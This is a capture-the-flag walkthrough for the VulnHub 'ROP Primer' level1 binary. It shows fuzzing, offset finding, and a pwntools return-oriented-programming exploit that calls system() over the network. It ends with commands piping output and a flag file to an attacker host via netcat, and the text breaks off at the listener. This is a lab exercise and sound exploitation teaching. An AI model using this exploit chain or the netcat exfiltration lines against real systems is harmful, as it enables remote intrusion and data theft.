Introduction
This is walkthrough for level1 of ROP Primer from vulnhub.
Exploit Development
Running the Application
level0@rop:/home/level1$ ./level1
[!] error bind()ing!
[+] retrying bind()
[!] error bind()ing!
^C
This means that a service is already listening on the port.
Inspecting netstat
to look for listening ports.
level0@rop:~$ su root
Password:
root@rop:/home/level0# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 778/sshd
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 889/level1
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 857/lighttpd
tcp 0 0 192.168.201.128:22 192.168.201.1:60814 ESTABLISHED 8169/sshd: level0 [
tcp6 0 0 :::22 :::* LISTEN 778/sshd
root@rop:/home/level0#
We see the level1 binary is already listening on port 8888
.
Connecting to port 8888
.
$ nc -nv 192.168.40.128 8888
(UNKNOWN) [192.168.40.128] 8888 (?) open
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> store
Please, how many bytes is your file?
> 10
Please, send your file:
> AAAAAAAAAA
XERXES is pleased to inform you
that your file was received
most successfully.
Please, give a filename:
> XERXES will store
this data as '
'.
XERXES wishes you
a NICE day.
Copying Files to Testing Machine
$ scp [email protected]:/home/level1/level1 .
[email protected]'s password:
level1 100% 9235 5.4MB/s 00:00
$ scp [email protected]:/lib/i386-linux-gnu/libc.so.6 .
[email protected]'s password:
libc.so.6 100% 1718KB 2.3MB/s 00:00
$ ls -l
total 1736
-rwxr-xr-x 1 kali kali 9235 Nov 5 07:30 level1
-rwxr-xr-x 1 kali kali 1758972 Nov 5 07:31 libc.so.6
Attempting to Crash the Application
Running the application locally and attempting to crash the application.
$ ./level1
$ netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 3917/./level1
Enabling core dump with ulimit -c unlimited
so that core is dumped in case of a crash.
The application has 3 functions:
- store
- read
- exit
I know this is stupid, but attempted to read the flag with the read
option.
$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> read
Please, give a filename to read:
> flag
XERXES demands your capture
or destruction.
Have a NICE day.
store
allows to define size of file
, its contents
and its file name
.
$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> store
Please, how many bytes is your file?
> 10
Please, send your file:
> 12345
XERXES regrets to inform you
that an error occurred
while receiving your file.
Please, give a filename:
> testfile
XERXES will store
this data as 'testfile
'.
XERXES wishes you
a NICE day.
The file testfile
is indeed created.
$ ls -l testfile*
-rw------- 1 kali kali 10 Nov 5 07:58 'testfile'$'\n'
$ cat testfile$'\n'
12345
Attempting to crash the program via the file contents
in store
menu. If we define a file of size 10 bytes and give contents with size more than 10 bytes, It might result in a crash.
$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> store
Please, how many bytes is your file?
> 10
Please, send your file:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
XERXES is pleased to inform you
that your file was received
most successfully.
Please, give a filename:
> XERXES will store
this data as 'AAAAAAAAAA'.
XERXES wishes you
a NICE day.
When doing so, we can that the program does not crash and now does not ask for filename
, instead takes string from file content
as the file name
.
$ ls -l AAAAAAAAAA
-rw------- 1 kali kali 10 Nov 5 08:01 AAAAAAAAAA
$ cat AAAAAAAAAA
AAAAAAAAAA
Next candidate for attempting a crash would be the filename
. Specifying following details when storing a file crashed the application and generated a coredump.
- store
- file size =
100 bytes
- file name -
A*2200
$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> store
Please, how many bytes is your file?
> 100
Please, send your file:
> AAAAAAA
XERXES regrets to inform you
that an error occurred
while receiving your file.
Please, give a filename:
> AAAAA.....AAAAAAAAAA # 2200 A's
Inspecting coredump:
$ gdb ./level1 -q core
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 7226]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
gdb-peda$ x/50xw $esp
0xbfa45460: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa45470: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfa45480: 0x00000000 0x00000000 0x00000004 0x00000003
0xbfa45490: 0xbfa4638f 0x00000070 0xb7f12020 0xb7c213b5
0xbfa454a0: 0x00000001 0xbfa45554 0xbfa4555c 0xbfa454c0
0xbfa454b0: 0xb7e20ff4 0x08048d19 0x00000001 0xbfa45554
0xbfa454c0: 0xb7e20ff4 0xbfa45554 0xb7f11b80 0xb7f12020
0xbfa454d0: 0x0888929c 0xc407388c 0x00000000 0x00000000
0xbfa454e0: 0x00000000 0xb7f11b80 0xb7f12020 0xb0270700
0xbfa454f0: 0xb7f12a40 0xb7c21346 0xb7e20ff4 0xb7c2147f
0xbfa45500: 0x00000000 0xb7f11ff4 0x00000001 0x080487b0
0xbfa45510: 0x00000000 0xb7eeea80 0xb7c213f9 0xb7f11ff4
0xbfa45520: 0x00000001 0x080487b0
gdb-peda$
We have successfully crashed the appliction and overwrote EIP.
Finding EIP Offset
$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> store
Please, how many bytes is your file?
> 100
Please, send your file:
> AAAAAAA
XERXES regrets to inform you
that an error occurred
while receiving your file.
Please, give a filename:
> Aa0Aa1Aa...v0Cv1Cv2C # msfvenom pattern_create.rb -l 2200
Inspecting the core dump:
$ gdb ./level1 -q core
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 8466]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x63413163 in ?? ()
gdb-peda$
Finding offset:
$ `locate pattern_offset.rb` -q 0x63413163
[*] Exact match at offset 64
Shared Library Dependencies
level0@rop:/home/level1$ ls -l
total 16
-rw-rw-r-- 1 level0 level0 0 Mar 5 2015 bleh
-rw------- 1 level2 level2 53 Jan 20 2015 flag
-rwsr-xr-x 1 level2 level2 9235 Jan 20 2015 level1
level0@rop:/home/level1$ ldd level1
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e46000)
/lib/ld-linux.so.2 (0x80000000)
Available Functions
$ gdb ./level1 -q
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x080485ec _init
0x08048630 strstr@plt
0x08048640 read@plt
0x08048650 free@plt
0x08048660 sleep@plt
0x08048670 htons@plt
0x08048680 accept@plt
0x08048690 malloc@plt
0x080486a0 puts@plt
0x080486b0 __gmon_start__@plt
0x080486c0 exit@plt
0x080486d0 open@plt
0x080486e0 strlen@plt
0x080486f0 __libc_start_main@plt
0x08048700 write@plt
0x08048710 bind@plt
0x08048720 memset@plt
0x08048730 snprintf@plt
0x08048740 fork@plt
0x08048750 htonl@plt
0x08048760 listen@plt
0x08048770 atoi@plt
0x08048780 socket@plt
0x08048790 strncmp@plt
0x080487a0 close@plt
0x080487b0 _start
0x080487e0 deregister_tm_clones
0x08048810 register_tm_clones
0x08048850 __do_global_dtors_aux
0x08048870 frame_dummy
0x0804889c write_buf
0x080488cb write_file
0x08048915 handle_conn
0x08048d19 main
0x08048e90 __libc_csu_fini
0x08048ea0 __libc_csu_init
0x08048efa __i686.get_pc_thunk.bx
0x08048f00 _fini
Binary Protection Info
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
Dumping .PLT Section
$ objdump -j .plt -d level1 -M intel
level1: file format elf32-i386
Disassembly of section .plt:
08048620 <.plt>:
8048620: ff 35 fc a3 04 08 push DWORD PTR ds:0x804a3fc
8048626: ff 25 00 a4 04 08 jmp DWORD PTR ds:0x804a400
804862c: 00 00 add BYTE PTR [eax],al
...
08048630 <strstr@plt>:
8048630: ff 25 04 a4 04 08 jmp DWORD PTR ds:0x804a404
8048636: 68 00 00 00 00 push 0x0
804863b: e9 e0 ff ff ff jmp 8048620 <.plt>
08048640 <read@plt>:
8048640: ff 25 08 a4 04 08 jmp DWORD PTR ds:0x804a408
8048646: 68 08 00 00 00 push 0x8
804864b: e9 d0 ff ff ff jmp 8048620 <.plt>
08048650 <free@plt>:
8048650: ff 25 0c a4 04 08 jmp DWORD PTR ds:0x804a40c
8048656: 68 10 00 00 00 push 0x10
804865b: e9 c0 ff ff ff jmp 8048620 <.plt>
08048660 <sleep@plt>:
8048660: ff 25 10 a4 04 08 jmp DWORD PTR ds:0x804a410
8048666: 68 18 00 00 00 push 0x18
804866b: e9 b0 ff ff ff jmp 8048620 <.plt>
08048670 <htons@plt>:
8048670: ff 25 14 a4 04 08 jmp DWORD PTR ds:0x804a414
8048676: 68 20 00 00 00 push 0x20
804867b: e9 a0 ff ff ff jmp 8048620 <.plt>
08048680 <accept@plt>:
8048680: ff 25 18 a4 04 08 jmp DWORD PTR ds:0x804a418
8048686: 68 28 00 00 00 push 0x28
804868b: e9 90 ff ff ff jmp 8048620 <.plt>
08048690 <malloc@plt>:
8048690: ff 25 1c a4 04 08 jmp DWORD PTR ds:0x804a41c
8048696: 68 30 00 00 00 push 0x30
804869b: e9 80 ff ff ff jmp 8048620 <.plt>
080486a0 <puts@plt>:
80486a0: ff 25 20 a4 04 08 jmp DWORD PTR ds:0x804a420
80486a6: 68 38 00 00 00 push 0x38
80486ab: e9 70 ff ff ff jmp 8048620 <.plt>
080486b0 <__gmon_start__@plt>:
80486b0: ff 25 24 a4 04 08 jmp DWORD PTR ds:0x804a424
80486b6: 68 40 00 00 00 push 0x40
80486bb: e9 60 ff ff ff jmp 8048620 <.plt>
080486c0 <exit@plt>:
80486c0: ff 25 28 a4 04 08 jmp DWORD PTR ds:0x804a428
80486c6: 68 48 00 00 00 push 0x48
80486cb: e9 50 ff ff ff jmp 8048620 <.plt>
080486d0 <open@plt>:
80486d0: ff 25 2c a4 04 08 jmp DWORD PTR ds:0x804a42c
80486d6: 68 50 00 00 00 push 0x50
80486db: e9 40 ff ff ff jmp 8048620 <.plt>
080486e0 <strlen@plt>:
80486e0: ff 25 30 a4 04 08 jmp DWORD PTR ds:0x804a430
80486e6: 68 58 00 00 00 push 0x58
80486eb: e9 30 ff ff ff jmp 8048620 <.plt>
080486f0 <__libc_start_main@plt>:
80486f0: ff 25 34 a4 04 08 jmp DWORD PTR ds:0x804a434
80486f6: 68 60 00 00 00 push 0x60
80486fb: e9 20 ff ff ff jmp 8048620 <.plt>
08048700 <write@plt>:
8048700: ff 25 38 a4 04 08 jmp DWORD PTR ds:0x804a438
8048706: 68 68 00 00 00 push 0x68
804870b: e9 10 ff ff ff jmp 8048620 <.plt>
08048710 <bind@plt>:
8048710: ff 25 3c a4 04 08 jmp DWORD PTR ds:0x804a43c
8048716: 68 70 00 00 00 push 0x70
804871b: e9 00 ff ff ff jmp 8048620 <.plt>
08048720 <memset@plt>:
8048720: ff 25 40 a4 04 08 jmp DWORD PTR ds:0x804a440
8048726: 68 78 00 00 00 push 0x78
804872b: e9 f0 fe ff ff jmp 8048620 <.plt>
08048730 <snprintf@plt>:
8048730: ff 25 44 a4 04 08 jmp DWORD PTR ds:0x804a444
8048736: 68 80 00 00 00 push 0x80
804873b: e9 e0 fe ff ff jmp 8048620 <.plt>
08048740 <fork@plt>:
8048740: ff 25 48 a4 04 08 jmp DWORD PTR ds:0x804a448
8048746: 68 88 00 00 00 push 0x88
804874b: e9 d0 fe ff ff jmp 8048620 <.plt>
08048750 <htonl@plt>:
8048750: ff 25 4c a4 04 08 jmp DWORD PTR ds:0x804a44c
8048756: 68 90 00 00 00 push 0x90
804875b: e9 c0 fe ff ff jmp 8048620 <.plt>
08048760 <listen@plt>:
8048760: ff 25 50 a4 04 08 jmp DWORD PTR ds:0x804a450
8048766: 68 98 00 00 00 push 0x98
804876b: e9 b0 fe ff ff jmp 8048620 <.plt>
08048770 <atoi@plt>:
8048770: ff 25 54 a4 04 08 jmp DWORD PTR ds:0x804a454
8048776: 68 a0 00 00 00 push 0xa0
804877b: e9 a0 fe ff ff jmp 8048620 <.plt>
08048780 <socket@plt>:
8048780: ff 25 58 a4 04 08 jmp DWORD PTR ds:0x804a458
8048786: 68 a8 00 00 00 push 0xa8
804878b: e9 90 fe ff ff jmp 8048620 <.plt>
08048790 <strncmp@plt>:
8048790: ff 25 5c a4 04 08 jmp DWORD PTR ds:0x804a45c
8048796: 68 b0 00 00 00 push 0xb0
804879b: e9 80 fe ff ff jmp 8048620 <.plt>
080487a0 <close@plt>:
80487a0: ff 25 60 a4 04 08 jmp DWORD PTR ds:0x804a460
80487a6: 68 b8 00 00 00 push 0xb8
80487ab: e9 70 fe ff ff jmp 8048620 <.plt>
Basic Exploit Skeleton
from pwn import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)
args = parser.parse_args()
host = args.target
port = args.port
r = remote(host, port)
print (r.recvuntil(b">"))
r.send(b"store")
print (r.recvuntil(b">"))
r.send(b"100")
print (r.recvuntil(b">"))
r.send(b"AAAAA")
print (r.recvuntil(b">"))
payload = b"A"*64
payload += p32(0x42424242) # EIP
payload += b"C"*32
r.send(payload)
Running the poc to crash the application.
$ python level1.py -t 127.0.0.1 -p 8888
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 127.0.0.1 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n available commands are:\n store, read, exit.\n\n>'
b' Please, how many bytes is your file?\n\n>'
b' Please, send your file:\n\n>'
b' XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 127.0.0.1 port 8888
Inspecting coredump, EIP overwritten with 0x42424242
:
$ gdb ./level1 -q core
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 18300]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x42424242 in ?? ()
gdb-peda$ x/s $esp
0xbfa45460: 'C' <repeats 32 times>
gdb-peda$ x/8xw $esp
0xbfa45460: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfa45470: 0x43434343 0x43434343 0x43434343 0x43434343
gdb-peda$ x/16xw $esp
0xbfa45460: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfa45470: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfa45480: 0x00000000 0x00000000 0x00000004 0x00000003
0xbfa45490: 0xbfa4638f 0x00000070 0xb7f12020 0xb7c213b5
gdb-peda$
Approach
- Use
read()
to read thecommand string
fromsocket file descriptor
and save at some address -.bss
.- Challenge - finding the socket file descriptor of our accepted connection to read from.
- Since
ASLR
is disabled on challenge binary and on the OS itself, usesystem()
to execute command.
Finding Socket File Descriptor
To find the socket file descriptor of our connection, we can set a break point on the accept()
and see the return value of accept()
.
int accept(int sockfd, struct sockaddr *restrict addr,
socklen_t *restrict addrlen);
The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor referring to that socket. The newly created socket is not in the listening state. The original socket sockfd is unaffected by this call.
So, once connection is accepted, a new socket file descriptor is created.
Setting breakpoint on the accept()
to see the sockfd
.
$ gdb ./level1 -q
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
gdb-peda$ b accept
Breakpoint 1 at 0x8048680
gdb-peda$ r
Starting program: /home/kali/Desktop/rop/rop-primer/level1/level1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[----------------------------------registers-----------------------------------]
EAX: 0x3
[..]
EIP: 0xb7d1e310 (<__libc_accept>: push esi)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7d1e30a: xchg ax,ax
0xb7d1e30c: xchg ax,ax
0xb7d1e30e: xchg ax,ax
=> 0xb7d1e310 <__libc_accept>: push esi
[..]
[------------------------------------stack-------------------------------------]
0000| 0xbffff06c --> 0x8048e0c (<main+243>: mov DWORD PTR [esp+0x28],eax)
0004| 0xbffff070 --> 0x3 # sockfd
0008| 0xbffff074 --> 0x0
0012| 0xbffff078 --> 0x0
0016| 0xbffff07c --> 0xb7fc14a0 --> 0xb7c00000 --> 0x464c457f
0020| 0xbffff080 --> 0xbffff0c0 --> 0xb7e20ff4 --> 0x220d8c
0024| 0xbffff084 --> 0xb8220002
0028| 0xbffff088 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, __libc_accept (fd=0x3, addr=..., len=0x0) at ../sysdeps/unix/sysv/linux/accept.c:24
24 ../sysdeps/unix/sysv/linux/accept.c: No such file or directory.
gdb-peda$
We try to connect to the application.
$ nc -nv 127.0.0.1 8888
(UNKNOWN) [127.0.0.1] 8888 (?) open
Now run finish
to return from accept()
.
gdb-peda$ finish
Run till exit from #0 __libc_accept (fd=0x3, addr=..., len=0x0) at ../sysdeps/unix/sysv/linux/accept.c:24
[----------------------------------registers-----------------------------------]
EAX: 0x4
EBX: 0xb7e20ff4 --> 0x220d8c
ECX: 0x0
EDX: 0x0
ESI: 0xbffff164 --> 0xbffff327 ("/home/kali/Desktop/rop/rop-primer/level1/level1")
EDI: 0xb7ffeb80 --> 0x0
EBP: 0xbffff0a8 --> 0xb7fff020 --> 0xb7fffa40 --> 0x0
ESP: 0xbffff070 --> 0x3
EIP: 0x8048e0c (<main+243>: mov DWORD PTR [esp+0x28],eax)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048e00 <main+231>: mov eax,DWORD PTR [esp+0x2c]
0x8048e04 <main+235>: mov DWORD PTR [esp],eax
0x8048e07 <main+238>: call 0x8048680 <accept@plt>
=> 0x8048e0c <main+243>: mov DWORD PTR [esp+0x28],eax
0x8048e10 <main+247>: call 0x8048740 <fork@plt>
0x8048e15 <main+252>: mov DWORD PTR [esp+0x24],eax
0x8048e19 <main+256>: cmp DWORD PTR [esp+0x24],0x0
0x8048e1e <main+261>: jns 0x8048e44 <main+299>
[------------------------------------stack-------------------------------------]
0000| 0xbffff070 --> 0x3
0004| 0xbffff074 --> 0x0
0008| 0xbffff078 --> 0x0
0012| 0xbffff07c --> 0xb7fc14a0 --> 0xb7c00000 --> 0x464c457f
0016| 0xbffff080 --> 0xbffff0c0 --> 0xb7e20ff4 --> 0x220d8c
0020| 0xbffff084 --> 0xb8220002
0024| 0xbffff088 --> 0x0
0028| 0xbffff08c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048e0c in main ()
Value returned is $1 = 0x4
gdb-peda$
We see the new socket file descritor
returned by accept - 0x4
. This is stored in EAX
as well.
Updating PoC to read the command string from our socket with sockfd = 0x4
and save at .bss
address.:
from pwn import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)
parser.add_argument("-c","--command", help="Command to Run", required=True)
args = parser.parse_args()
host = args.target
port = args.port
cmd = b"%s\x00" % args.command.encode()
read_plt = 0x08048640
bss_buf = 0x0804a46c
fake_ret = 0xcafebabe
pop3ret = 0x8048ef6
r = remote(host, port)
print (r.recvuntil(b">"))
r.send(b"store")
print (r.recvuntil(b">"))
r.send(b"100")
print (r.recvuntil(b">"))
r.send(b"AAAAA")
print (r.recvuntil(b">"))
payload = b"A"*64
# we only have 32 byte space on stack after eip overwrite
# read from socket stdin and write to .bss
# ssize_t read(int fd, void *buf, size_t count);
payload += p32(read_plt) # read@plt ; eip overwrite
payload += p32(fake_ret) # ret addr of read@plt; pppr or fake_ret
payload += p32(0x4) # fd; stdin = sockfd
payload += p32(bss_buf) # *buf; place to store command string; .bss
payload += p32(len(cmd)) # count; length of command
payload += (100-len(payload)) * b"C"
r.send(payload)
# send the command to store at .bss
# read() is expecting it from socket stdin
r.send(cmd)
Running against local instance in kali.
python level1.py -t 127.0.0.1 -p 8888 -c "/usr/bin/id"
$ python level1.py -t 127.0.0.1 -p 8888 -c "/usr/bin/id"
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 127.0.0.1 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n available commands are:\n store, read, exit.\n\n>'
b' Please, how many bytes is your file?\n\n>'
b' Please, send your file:\n\n>'
b' XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 127.0.0.1 port 8888
Checking the coredump to see if the string is stored at .bss
address.
$ gdb ./level1 -q core
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 16026]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xcafebabe in ?? ()
gdb-peda$ x/s 0x0804a46c
0x804a46c <completed.5730>: "/usr/bin/id"
gdb-peda$
Excellent!. Now updating the PoC to call system. Below is from kali libc.so
and not challenge machine libc.so
.
gdb-peda$ p system
$1 = {int (const char *)} 0xb7c47040 <__libc_system>
gdb-peda$
Updated PoC to call system.
from pwn import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)
parser.add_argument("-c","--command", help="Command to Run", required=True)
args = parser.parse_args()
host = args.target
port = args.port
cmd = b"%s\x00" % args.command.encode()
read_plt = 0x08048640
bss_buf = 0x0804a46c
fake_ret = 0xcafebabe
pop3ret = 0x8048ef6
read_got_plt = 0x804a408
r = remote(host, port)
print (r.recvuntil(b">"))
r.send(b"store")
print (r.recvuntil(b">"))
r.send(b"100")
print (r.recvuntil(b">"))
r.send(b"AAAAA")
print (r.recvuntil(b">"))
payload = b"A"*64
# we only have 32 byte space on stack after eip overwrite
# read from socket stdin and write to .bss
# ssize_t read(int fd, void *buf, size_t count);
payload += p32(read_plt) # read@plt ; eip overwrite
payload += p32(pop3ret) # ret addr of read@plt; pppr or fake_ret
payload += p32(0x4) # fd; stdin = sockfd
payload += p32(bss_buf) # *buf; place to store command string; .bss
payload += p32(len(cmd)) # count; length of command
payload += p32(0xb7c47040) # system address from kali libc.so
payload += p32(fake_ret) # return address
payload += p32(bss_buf) # address pointing to the command string
payload += (100-len(payload)) * b"C"
r.send(payload)
# send the command to store at .bss
# read() is expecting it from socket stdin
r.send(cmd)
Running against local instance of challenge running on kali.
$ python level1.py -t 127.0.0.1 -p 8888 -c "/usr/bin/id"
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 127.0.0.1 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n available commands are:\n store, read, exit.\n\n>'
b' Please, how many bytes is your file?\n\n>'
b' Please, send your file:\n\n>'
b' XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 127.0.0.1 port 8888
$ gdb ./level1 -q core
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
[New LWP 17772]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xcafebabe in ?? ()
gdb-peda$ x/s 0x0804a46c
0x804a46c <completed.5730>: "/usr/bin/id"
gdb-peda$
Indeed our command got executed, we can see the output in the window where our level1
process is running.
$ ./level1
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)
Updating the Exploit for Target System
We just need to update the address of system()
with respect to target libc.so.6
.
Finding PID
of level1
.
level0@rop:~$ su root
Password:
root@rop:/home/level0# ps aux | grep level
level2 896 0.0 0.0 2024 276 ? S 08:35 0:00 ./level1
level0 928 0.0 0.6 6868 3312 tty1 S 08:39 0:00 -bash
level2 944 0.0 0.0 0 0 ? Z 08:40 0:00 [level1] <defunct>
level2 977 0.0 0.0 0 0 ? Z 08:47 0:00 [level1] <defunct>
level2 981 0.0 0.0 0 0 ? Z 08:47 0:00 [level1] <defunct>
root 988 0.1 0.7 11196 3764 ? Ss 09:48 0:00 sshd: level0 [priv]
level0 1003 0.0 0.3 11196 1680 ? S 09:48 0:00 sshd: level0@pts/0
level0 1004 0.2 0.6 6860 3144 pts/0 Ss 09:48 0:00 -bash
root 1030 0.0 0.1 4680 832 pts/0 S+ 09:48 0:00 grep --color=auto level
Attaching to level1
process PID
.
root@rop:/home/level0# gdb -p 896 -q
Attaching to process 896
[..]
Reading symbols from /home/level1/level1...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
[----------------------------------registers-----------------------------------]
EAX: 0xfffffe00
[..]
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
[..]
=> 0xb7fdd424 <__kernel_vsyscall+16>: pop ebp
0xb7fdd425 <__kernel_vsyscall+17>: pop edx
0xb7fdd426 <__kernel_vsyscall+18>: pop ecx
0xb7fdd427 <__kernel_vsyscall+19>: ret
0xb7fdd428: add BYTE PTR [esi],ch
[------------------------------------stack-------------------------------------]
[..]
0028| 0xbffffd68 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7fdd424 in __kernel_vsyscall ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e65190 <system>
gdb-peda$
system()
address from target system -0xb7e65190
Final PoC:
from pwn import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-t","--target", help="Target Host", required=True)
parser.add_argument("-p","--port", help="Target Port", required=True)
parser.add_argument("-c","--command", help="Command to Run", required=True)
args = parser.parse_args()
host = args.target
port = args.port
cmd = b"%s\x00" % args.command.encode()
read_plt = 0x08048640
bss_buf = 0x0804a46c
fake_ret = 0xcafebabe
pop3ret = 0x8048ef6
read_got_plt = 0x804a408
r = remote(host, port)
print (r.recvuntil(b">"))
r.send(b"store")
print (r.recvuntil(b">"))
r.send(b"100")
print (r.recvuntil(b">"))
r.send(b"AAAAA")
print (r.recvuntil(b">"))
payload = b"A"*64
# we only have 32 byte space on stack after eip overwrite
# read from socket stdin and write to .bss
# ssize_t read(int fd, void *buf, size_t count);
payload += p32(read_plt) # read@plt ; eip overwrite
payload += p32(pop3ret) # ret addr of read@plt; pppr or fake_ret
payload += p32(0x4) # fd; stdin = sockfd
payload += p32(bss_buf) # *buf; place to store command string; .bss
payload += p32(len(cmd)) # count; length of command
#payload += p32(0xb7c47040) # system address from kali libc.so
payload += p32(0xb7e65190) # system address from rop primer libc.so.6
payload += p32(fake_ret) # return address
payload += p32(bss_buf) # address pointing to the command string
payload += (100-len(payload)) * b"C"
r.send(payload)
# send the command to store at .bss
# read() is expecting it from socket stdin
r.send(cmd)
Running against challenge machine to run id
command and send to attacker machine on port 4444
.
python level1.py -t 192.168.80.158 -p 8888 -c "/usr/bin/id | nc 192.168.80.157 4444"
$ python level1.py -t 192.168.80.158 -p 8888 -c "/usr/bin/id | nc 192.168.80.157 4444"
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 192.168.80.158 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n available commands are:\n store, read, exit.\n\n>'
b' Please, how many bytes is your file?\n\n>'
b' Please, send your file:\n\n>'
b' XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 192.168.80.158 port 8888
We recieve the following from on netcat listener.
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.80.157] from (UNKNOWN) [192.168.80.158] 59517
uid=0(root) gid=0(root) euid=1002(level2) groups=1002(level2),0(root)
Extracting Flag
python level1.py -t 192.168.80.158 -p 8888 -c "cat flag | nc 192.168.80.157 4444"
$ python level1.py -t 192.168.80.158 -p 8888 -c "cat /home/level1/flag | nc 192.168.80.157 4444"
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 192.168.80.158 on port 8888: Done
b'Welcome to \n XERXES File Storage System\n available commands are:\n store, read, exit.\n\n>'
b' Please, how many bytes is your file?\n\n>'
b' Please, send your file:\n\n>'
b' XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n Please, give a filename:\n>'
[*] Closed connection to 192.168.80.158 port 8888
On the netcat listener:
$ nc -nvlp 4444
listening on [any] 4444 ...
